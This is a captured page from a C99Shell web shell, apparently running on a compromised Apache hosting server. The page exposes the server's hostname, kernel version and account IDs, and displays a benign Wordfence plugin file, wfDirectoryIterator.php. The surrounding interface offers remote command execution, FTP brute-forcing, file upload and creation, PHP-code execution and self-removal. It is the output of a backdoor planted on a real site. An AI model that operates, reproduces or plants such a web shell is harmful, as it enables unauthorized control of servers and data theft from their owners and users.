!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/wordfence/lib/   drwxr-xr-x
Free 180.62 GB of 490.84 GB (36.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     wfDirectoryIterator.php (1.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

abstract class wfDirectoryIterator {

    abstract public function 
file($file);

    
/**
     * @var string
     */
    
private $directory;

    
/**
     * @var int
     */
    
private $directory_limit;

    
/**
     * @var callback
     */
    
private $callback;
    
/**
     * @var int
     */
    
private $max_iterations;
    private 
$iterations;

    
/**
     * @param string $directory
     * @param int    $max_files_per_directory
     * @param int    $max_iterations
     */
    
public function __construct($directory ABSPATH$max_files_per_directory 20000$max_iterations 1000000) {
        
$this->directory $directory;
        
$this->directory_limit $max_files_per_directory;
        
$this->max_iterations $max_iterations;
    }

    public function 
run() {
        
$this->iterations 0;
        
$this->scan($this->directory);
    }

    protected function 
scan($dir) {
        
$dir rtrim($dirDIRECTORY_SEPARATOR);
        
$handle opendir($dir);
        
$file_count 0;
        while (
$file readdir($handle)) {
            if (
$file == '.' || $file == '..') {
                continue;
            }
            
$file_path $dir '/' $file;
            if (
is_dir($file_path)) {
                if (
$this->scan($file_path) === false) {
                    
closedir($handle);
                    return 
false;
                }
            } else {
                if (
$this->file($file_path) === false) {
                    
closedir($handle);
                    return 
false;
                }
            }
            if (++
$file_count >= $this->directory_limit) {
                break;
            }
            if (++
$this->iterations >= $this->max_iterations) {
                
closedir($handle);
                return 
false;
            }
        }
        
closedir($handle);
        return 
true;
    }
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0081 ]--